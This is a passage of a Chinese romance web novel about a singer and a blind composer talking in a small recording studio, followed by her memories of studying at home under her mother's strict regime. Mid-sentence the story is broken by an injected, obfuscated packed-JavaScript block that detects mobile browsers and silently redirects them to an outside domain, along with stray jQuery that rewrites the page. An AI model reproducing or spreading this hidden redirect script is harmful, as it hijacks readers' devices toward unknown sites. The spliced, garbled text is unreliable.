录音室内没有窗，也没开空调，歌声停止的瞬间，本就浓稠的空气忽地停止流动，将室内挤得格外狭小。
“太棒了，收工！”
录音师给她比个ok的手势，隔着玻璃都能看见他满眼对提前收工的兴奋。
宋呓欢摘掉耳机，小声嘟囔：“谁跟你说我眼睛漂亮，我眼睛比藏狐还小。”
迟燃摘掉橙色的有线耳机，理着弹来弹去不听话的耳机线，慢条斯理地整理。
“我发现你特消极。”
宋呓欢盯着他看了一会，关掉麦克风，扭头跟他说。
他指尖手忽地不稳，耳机坠着橙色的线垂下来，荡来荡去，画着窄窄的橙色扇面。
他停顿许久才说：“算吗？”
“你就是。”宋呓欢将空调打开，随手拨拨汗湿的刘海，“你这人总是死盯着结局。好比说今天这首歌，泉水这么美好的意象，你首先想到的还是枯竭。还有余烬！你连给自己起艺名都是燃烧后的灰烬。”
迟燃将橙色耳机线缠在指尖，转着。
“在意结局有什么不对？人、时间还有事件这些，都是循着结局的方向发展，凡事都有结局。”
宋呓欢将橙色耳机线的另一头扯在手里，拽着他手指：“那世界上所有泉水的结局都是枯竭，所有燃烧的结局都是灰烬，可泉水和泉水不一样，火堆和火堆也不一样，你没法用同样的结局一概而论。”
迟燃任由她牵着手指，垂眸沉默。
“要是盯着结局生活，那天天都在筹备葬礼。”
她晃着腿，手指捏着橙色细绳，扽着他的手指。
迟燃没跟她聊下去，反倒岔开话题：“你爸爸怎么可能是81年的？不到二十一岁就生你？”
宋呓欢说：“不是啊。”
迟燃：“那周庭怎么可能比你爸还大，你骗他的？”
“没骗人。”宋呓欢淡定地讲着地狱发言，“我爸走的时候四十一。”
空气静默许久。
“怎么不算同岁呢？”宋呓欢说。
“…你刚才在替我出气。”
迟燃动动食指，指尖绷紧橙色细线忽地四散弹开，像指尖的渺小烟花。
“对啊。”她坦率承认，“那老头欺人太甚，而且他要不要脸啊，比她老婆都快大两轮了，老变态。”
“宋呓欢。”迟燃语气放缓，“我也比你大半轮。”
这话她不爱听，她飞快地反驳：“半轮这个说法听着吓人，实际也就六岁而已。”
迟燃：“六岁就是半轮。”
宋呓欢不想承认她的双标。
“所以你为什么对录音室那么熟悉？比你家还熟。”她问。
“我在这住过半年，就睡在这间录音室…刚瞎那半年。”
迟燃一下一下地扯着橙色细绳，企图抢回来，但她就是不肯松手。
“这么窄的地方？”宋呓欢四下看看，乍舌道。
这间录音室容纳他们两个人，基本就是膝盖顶着腿侧，扭头说句话都得堵车。就算将整间搬空，按迟燃的个子也得蜷着睡。
迟燃说：“嗯。”
宋呓欢试探着问：“那段时间你应该很难受吧，那么熟练的作编曲技能，一夜之间就没了。”
“我那时候…确实重新学着写歌。”他说，“我最害怕的事就是忘记乐器的样子，忘记录音室的样子，忘记音符的样子，一闭眼就开始跟幻灯片播放似的，复习那些东西的外形、用法，吃了药也睡不着，我就干脆在这睡。”
“在这能睡着吗？”她问。
“能。”他笑了笑，“不知道是不是因为密闭环境含氧量低，缺氧昏过去。那段时间钱宇生怕我憋死，也一直睡公司，等我睡着悄悄把门打开。”
“…两万是他应得的。”宋呓欢捏着耳机柔软的耳堵说。
正说到钱宇呢，他就在玻璃门外蹦跶着挥手，打手势示意，看样子要跟他们说话。
宋呓欢说：“耳机戴上，钱宇找你。”
话是这么说，但她也没松开捏着另一只耳机的手，较劲似的捏着。
耳机线很短，迟燃没辙，靠近她戴上耳机，肩膀似有若无地挨着肩膀。
“不走吗？下班了啊！”钱宇在控制室边蹦边说。
宋呓欢打开麦克风：“那就走…”
话还没说完，就被迟燃打断：“我有副蓝灰防滑鼓棒落在二楼休息室了，帮我拿过来，再去三楼办公室帮我找张唱片，叫Julie。”
钱宇叹口气：“哥，大海捞针啊…还得捞两种针吗哥？”
迟燃抬手精准摸到开关，闭麦拒绝交流。
宋呓欢反应再慢，也意识到迟燃是刻意把人支走。
要单挑？
她猛地转过来，面朝迟燃坐，膝盖避无可避地碰上他的膝盖。
这间录音室实在狭小，双层隔音门隔绝绝大部分的声音，密闭且寂静的空间剥夺感
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264586|181631||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
官，带来难以忽视的压迫感。
耳机线依然一人一头握着，没人松手，细长的橙色绷得细细颤抖。
迟燃肩膀靠在背后的墙上，尽可能地与她保持距离。
在寂静与狭窄的压迫下，宋呓欢忍不住开口：“你找我…”
“谢谢你站在我这边。”他说。
“啊？哦，应该的。”宋呓欢慢半拍地说，“你，和那个油腻老男人，很难不站你。”
“不止今天。”迟燃摇摇头，“两年前我跟周庭冲突的时候，你也站在我这边。”
宋呓欢瞪大眼睛。
“今天不是我第一次听你唱歌。”他说，“两年前我也听过，差不多就这个时候。”
…两年前？
两年的这个时候，她老家迎来数十年难遇的暖春，四月初便暖阳高挂，绿意盎然，温热的雨和暖融融的风与将人追着赶着挤进初夏。
在距离高考还有两个多月的日子里，同窗恨不能灌着咖啡浓茶，悬梁刺股，而她清闲得像早早冒出头拼命聒噪的知了。
极其无聊。
跟同龄的孩子不一样，作为班里常年吊车尾的差生，她不憎恶听课刷题三校联考，也不憎恶抽查补课门口罚站，恰恰相反，她甚至有些享受。
倒不是因为她格外有早熟觉悟，而是因为她从没在学业上感受到任何压力。
忘涂答题卡、上课睡着还有没写作业，这些学生时代堪比天塌地陷的大事，宋呓欢从来不慌。
因为就算老师找到王女士，王女士也只会客客气气地跟老师说，老师辛苦，学习不如身体重要，别为这个骂我家孩子。
一来二去，再没有老师过问她的功课。
对王女士来说，宋呓欢此生唯一需要认真作答的试卷，便是健康。
久坐，熬夜，饮食不规律等等坏习惯被高考包装上拼搏的外壳，王女士光是听着都觉得揪心。高三下，她终于忍无可忍，执意让宋呓欢居家备考。
在家备考期间，宋呓欢严格按照王女士的计划生活。计划极其精确，时间到分钟，体重到小数点后两位，吃饭喝水都精确到克。
她顿顿营养餐，不仅有精确的用餐开始时间，甚至连每道菜的食用顺序和咀嚼次数都有明确规定。
在家不比在学校，王女士眼皮子底下她只能严丝合缝地遵守，扮演按照程序定时定点做任务的小机器人。
机器人不会疯，可人类宋呓欢会，且快了。